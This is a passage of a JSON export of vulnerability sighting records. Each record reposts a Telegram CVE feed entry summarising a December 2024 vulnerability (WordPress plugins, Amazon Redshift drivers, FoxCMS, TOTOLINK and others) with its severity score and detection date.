version 2.4.2 to 2.7.4. A non-admin user could exploit weak file and folder permissions to escalate privileges, execute arbitrary code and maintain persistence on the compromised machine. It has been identified that full control permissions exist on the \u2018Everyone\u2019 group (i.e. any user who has local access to the operating system regardless of their privileges). \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-23T14:59:30.000000Z"}, {"uuid": "55d30e14-c740-4aa9-ac8f-1362d4536d83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12902", "type": "seen", "source": "https://t.me/cvedetector/13532", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12902 - ANCHOR from Global Wisdom Software Default Privilege Escalation vulnerabiliy\", \n  \"Content\": \"CVE ID : CVE-2024-12902 \nPublished : Dec. 23, 2024, 11:15 a.m. | 41\u00a0minutes ago \nDescription : ANCHOR from Global Wisdom Software is an integrated product running on a Windows virtual machine. The underlying Windows OS of the product contains high-privilege service accounts. If these accounts use default passwords, attackers could remotely log in to the virtual machine using the default credentials. \nSeverity: 8.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-23T13:19:09.000000Z"}, {"uuid": "c9ad2fc6-d818-485e-93a5-c094ac1f2e35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12895", "type": "seen", "source": "https://t.me/cvedetector/13512", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12895 - TreasureHuntGame TreasureHunt SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12895 \nPublished : Dec. 22, 2024, 2:15 p.m. | 45\u00a0minutes ago \nDescription : A vulnerability has been found in TreasureHuntGame TreasureHunt up to 963e0e0 and classified as critical. Affected by this vulnerability is the function console_log of the file TreasureHunt/checkflag.php. The manipulation of the argument problema leads to sql injection. The attack can be launched remotely. The identifier of the patch is 8bcc649abc35b7734951be084bb522a532faac4e. It is recommended to apply a patch to fix this issue. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-22T16:24:56.000000Z"}, {"uuid": "8c2a2041-7f42-4239-a92f-0f6ec331175b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12353", "type": "seen", "source": "https://t.me/cvedetector/12348", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12353 - SourceCodester Phone Contact Manager System Local Input Validation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12353 \nPublished : Dec. 9, 2024, 2:15 a.m. | 27\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, has been found in SourceCodester Phone Contact Manager System 1.0. This issue affects the function UserInterface::MenuDisplayStart of the component User Menu. The manipulation of the argument name leads to improper input validation. Attacking locally is a requirement. The exploit has been disclosed to the public and may be used. \nSeverity: 3.3 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T03:49:25.000000Z"}, {"uuid": "679f4f75-b289-4966-8798-ff89496eb24d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12352", "type": "seen", "source": "https://t.me/cvedetector/12347", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12352 - TOTOLINK EX1800T Remote Stack-Based Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12352 \nPublished : Dec. 9, 2024, 2:15 a.m. | 27\u00a0minutes ago \nDescription : A vulnerability classified as problematic was found in TOTOLINK EX1800T 9.1.0cu.2112_B20220316. This vulnerability affects the function sub_40662C of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument ssid leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T03:49:24.000000Z"}, {"uuid": "45634190-e959-4208-b5a4-b91bf6b3f217", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12413", "type": "seen", "source": "https://t.me/cvedetector/13612", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12413 - MarketKing \u2014 WooCommerce Multivendor Marketplace Solution - Missing Capability Checks Allow Unauthorized Access\", \n  \"Content\": \"CVE ID : CVE-2024-12413 \nPublished : Dec. 25, 2024, 4:15 a.m. | 38\u00a0minutes ago \nDescription : The MarketKing \u2014 Ultimate WooCommerce Multivendor Marketplace Solution plugin for WordPress is vulnerable to unauthorized access due to missing capability checks on several functions like 'marketking_delete_team_member', 'marketkingrejectuser', 'marketking_save_profile_settings', and many more in all versions up to, and including, 2.0.00. This makes it possible for unauthenticated attackers to delete users, update settings, approve users, and more. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-25T06:17:21.000000Z"}, {"uuid": "c60ef22b-ee5c-4aff-9b27-99ce9034169d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12190", "type": "seen", "source": "https://t.me/cvedetector/13611", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12190 - Bit Form Contact Form Unauthenticated Data Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12190 \nPublished : Dec. 25, 2024, 4:15 a.m. | 38\u00a0minutes ago \nDescription : The Contact Form by Bit Form: Multi Step Form, Calculation Contact Form, Payment Contact Form & Custom Contact Form builder plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the bitform-form-entry-edit endpoint in all versions up to, and including,  2.17.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to view all form submissions from other users. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-25T06:17:21.000000Z"}, {"uuid": "99916eb1-6f9d-488a-ab77-2a0fe1333c3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12034", "type": "seen", "source": "https://t.me/cvedetector/13571", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12034 - \"Google reCAPTCHA WordPress IP Unblocking Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12034 \nPublished : Dec. 24, 2024, 6:15 a.m. | 17\u00a0minutes ago \nDescription : The Advanced Google reCAPTCHA plugin for WordPress is vulnerable to IP unblocking in all versions up to, and including, 1.25. This is due to the plugin not utilizing a strong unique key when generating an unblock request. This makes it possible for unauthenticated attackers to unblock their IP after being locked out due to too many bad password attempts \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T07:42:50.000000Z"}, {"uuid": "57dc90ae-0341-4560-b46a-fa676d0415ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12210", "type": "seen", "source": "https://t.me/cvedetector/13569", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12210 - WooCommerce Print Invoice Accessibility Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12210 \nPublished : Dec. 24, 2024, 6:15 a.m. | 17\u00a0minutes ago \nDescription : The Print Invoice & Delivery Notes for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'wcdn_remove_shoplogo' AJAX action in all versions up to, and including, 5.4.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to remove the shop's logo. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T07:42:49.000000Z"}, {"uuid": "ccbacae3-b0d2-4e09-9bd8-ed8960d81fc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12744", "type": "seen", "source": "https://t.me/cvedetector/13608", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12744 - \"Amazon Redshift JDBC Driver SQL Injection Privilege Escalation\"\", \n  \"Content\": \"CVE ID : CVE-2024-12744 \nPublished : Dec. 24, 2024, 5:15 p.m. | 42\u00a0minutes ago \nDescription : A SQL injection in the Amazon Redshift JDBC Driver in v2.1.0.31 allows a user to gain escalated privileges via the getSchemas, getTables, or getColumns Metadata APIs. Users should upgrade to the driver version 2.1.0.32 or revert to driver version 2.1.0.30. \nSeverity: 8.0 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T19:25:28.000000Z"}, {"uuid": "dfdc3a16-a372-4953-9b95-8fe64c6b19fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12746", "type": "seen", "source": "https://t.me/cvedetector/13607", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12746 - Amazon Redshift ODBC Driver SQL Injection Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-12746 \nPublished : Dec. 24, 2024, 5:15 p.m. | 42\u00a0minutes ago \nDescription : A SQL injection in the Amazon Redshift ODBC Driver v2.1.5.0 (Windows or Linux) allows a user to gain escalated privileges via the SQLTables or SQLColumns Metadata APIs. Users are recommended to upgrade to the driver version 2.1.6.0 or revert to driver version 2.1.4.0. \nSeverity: 8.0 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T19:25:27.000000Z"}, {"uuid": "629522bc-452d-4275-8771-293705925f27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12745", "type": "seen", "source": "https://t.me/cvedetector/13606", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12745 - Amazon Redshift Python Connector SQL Injection Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-12745 \nPublished : Dec. 24, 2024, 5:15 p.m. | 42\u00a0minutes ago \nDescription : A SQL injection in the Amazon Redshift Python Connector v2.1.4 allows a user to gain escalated privileges via the get_schemas, get_tables, or get_columns Metadata APIs. Users are recommended to upgrade to the driver version 2.1.5 or revert to driver version 2.1.3. \nSeverity: 8.0 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T19:25:26.000000Z"}, {"uuid": "305da1b8-6943-4bb6-954e-fea891c92031", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12369", "type": "seen", "source": "https://t.me/cvedetector/12447", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12369 - OpenID Connect Client Authorization Code Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12369 \nPublished : Dec. 9, 2024, 9:15 p.m. | 37\u00a0minutes ago \nDescription : A vulnerability was found in OIDC-Client. When using the RH SSO OIDC adapter with EAP 7.x or when using the elytron-oidc-client subsystem with EAP 8.x, authorization code injection attacks can occur, allowing an attacker to inject a stolen authorization code into the attacker's own session with the client with a victim's identity. This is usually done with a Man-in-the-Middle (MitM) or phishing attack. \nSeverity: 4.2 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T23:04:27.000000Z"}, {"uuid": "9659f09e-d431-405f-ad85-b366c20610c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12268", "type": "seen", "source": "https://t.me/cvedetector/13584", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12268 - WordPress Gutenberg Blocks Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12268 \nPublished : Dec. 24, 2024, 11:15 a.m. | 25\u00a0minutes ago \nDescription : The Responsive Blocks \u2013 WordPress Gutenberg Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'responsive-block-editor-addons/portfolio' block in all versions up to, and including, 1.9.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T12:43:56.000000Z"}, {"uuid": "606c1c73-32fd-403d-b8ab-cbcc0633112f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12103", "type": "seen", "source": "https://t.me/cvedetector/13581", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12103 - WordPress Content No Cache Information Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12103 \nPublished : Dec. 24, 2024, 10:15 a.m. | 36\u00a0minutes ago \nDescription : The Content No Cache: prevent specific content from being cached plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 0.1.2 via the eos_dyn_get_content action due to insufficient restrictions on which posts can be included. This makes it possible for unauthenticated attackers to extract data from password protected, private, or draft posts that they should not have access to. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T11:53:46.000000Z"}, {"uuid": "7f3d3b03-2098-4b94-99f1-f13a428d2b2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12031", "type": "seen", "source": "https://t.me/cvedetector/13580", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12031 - \"WordPress Advanced Floating Content Plugin SQL Injection Flaw\"\", \n  \"Content\": \"CVE ID : CVE-2024-12031 \nPublished : Dec. 24, 2024, 10:15 a.m. | 36\u00a0minutes ago \nDescription : The Advanced Floating Content plugin for WordPress is vulnerable to SQL Injection via the 'floating_content_duplicate_post' function in all versions up to, and including, 3.8.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T11:53:45.000000Z"}, {"uuid": "2b1fd555-556a-4c86-a534-9a7330a171e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12881", "type": "seen", "source": "https://t.me/cvedetector/13577", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12881 - WordPress PlugVersions Arbitrary File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12881 \nPublished : Dec. 24, 2024, 10:15 a.m. | 36\u00a0minutes ago \nDescription : The PlugVersions \u2013 Easily rollback to previous versions of your plugins plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the eos_plugin_reviews_restore_version() function in all versions up to, and including, 0.0.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create arbitrary files leveraging files included locally. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T11:53:40.000000Z"}, {"uuid": "776a7c9e-c194-4a3b-9f0a-4767bc6d45f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12850", "type": "seen", "source": "https://t.me/cvedetector/13575", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12850 - WordPress Database Backup and Check Tables Automated With Scheduler Plugin Directory Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12850 \nPublished : Dec. 24, 2024, 10:15 a.m. | 36\u00a0minutes ago \nDescription : The Database Backup and check Tables Automated With Scheduler 2024 plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 2.32 via the database_backup_ajax_download() function. This makes it possible for authenticated attackers, with administrator-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information. \nSeverity: 4.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T11:53:39.000000Z"}, {"uuid": "976e86da-af65-49dd-af16-93d04fe9b2b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12468", "type": "seen", "source": "https://t.me/cvedetector/13573", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12468 - WordPress Datepicker Reflected Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12468 \nPublished : Dec. 24, 2024, 9:15 a.m. | 37\u00a0minutes ago \nDescription : The WP Datepicker plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'wpdp_get_selected_datepicker' parameter in all versions up to, and including, 2.1.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T11:03:28.000000Z"}, {"uuid": "5d036959-cdf5-485b-90b6-7decf2746cf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12814", "type": "seen", "source": "https://t.me/cvedetector/13572", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12814 - WordPress Loan Comparison Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12814 \nPublished : Dec. 24, 2024, 7:15 a.m. | 38\u00a0minutes ago \nDescription : The Loan Comparison plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'loancomparison' shortcode in all versions up to, and including, 2.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T09:23:07.000000Z"}, {"uuid": "2e29cbf1-9fa4-4e38-aa0e-e61744548652", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12100", "type": "seen", "source": "https://t.me/cvedetector/13568", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12100 - Uncategorizedewing Reflected Cross-Site Scripting in Bitcoin Lightning Publisher for WordPress\", \n  \"Content\": \"CVE ID : CVE-2024-12100 \nPublished : Dec. 24, 2024, 6:15 a.m. | 17\u00a0minutes ago \nDescription : The Bitcoin Lightning Publisher for WordPress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and including, 1.4.1. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T07:42:48.000000Z"}, {"uuid": "63583924-bbc0-4122-a151-45fe48cf209e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12096", "type": "seen", "source": "https://t.me/cvedetector/13567", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12096 - WordPress Exhibit to WP Gallery XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12096 \nPublished : Dec. 24, 2024, 6:15 a.m. | 17\u00a0minutes ago \nDescription : The Exhibit to WP Gallery WordPress plugin through 0.0.2 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T07:42:45.000000Z"}, {"uuid": "91b84147-8470-4aaf-8842-a82a5ebf30db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12900", "type": "seen", "source": "https://t.me/cvedetector/13530", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12900 - FoxCMS Code Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12900 \nPublished : Dec. 23, 2024, 2:15 a.m. | 44\u00a0minutes ago \nDescription : A vulnerability classified as critical has been found in FoxCMS up to 1.2. Affected is an unknown function of the file /install/installdb.php of the component Configuration File Handler. The manipulation of the argument database password leads to code injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-23T04:07:26.000000Z"}, {"uuid": "9e35a03d-9938-46cc-a679-c92c1e57cc9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12901", "type": "seen", "source": "https://t.me/cvedetector/13529", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12901 - FoxCMS API Endpoint Unauthorized Access Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12901 \nPublished : Dec. 23, 2024, 2:15 a.m. | 44\u00a0minutes ago \nDescription : A vulnerability classified as critical was found in FoxCMS up to 1.2. Affected by this vulnerability is an unknown functionality of the file /app/api/controller/Site.php of the component API Endpoint. The manipulation of the argument password leads to improper authorization. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-23T04:07:26.000000Z"}, {"uuid": "41ed4f2a-309b-4a06-960d-c9c2c4ca76f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12405", "type": "seen", "source": "https://t.me/cvedetector/13562", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12405 - \"WordPress Export Customers Data Plugin Reflected Cross-Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2024-12405 \nPublished : Dec. 24, 2024, 6:15 a.m. | 17\u00a0minutes ago \nDescription : The Export Customers Data plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 't' parameter in all versions up to, and including, 1.2.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T07:42:38.000000Z"}, {"uuid": "e13681b5-28a2-427b-9244-064668b852c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12894", "type": "seen", "source": "https://t.me/cvedetector/13511", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12894 - TreasureHuntGame TreasureHunt SQL Injection Vuln\", \n  \"Content\": \"CVE ID : CVE-2024-12894 \nPublished : Dec. 22, 2024, 12:15 p.m. | 30\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in TreasureHuntGame TreasureHunt up to 963e0e0. Affected is an unknown function of the file TreasureHunt/acesso.php. The manipulation of the argument usuario leads to sql injection. It is possible to launch the attack remotely. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The name of the patch is 8bcc649abc35b7734951be084bb522a532faac4e. It is recommended to apply a patch to fix this issue. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-22T13:54:25.000000Z"}, 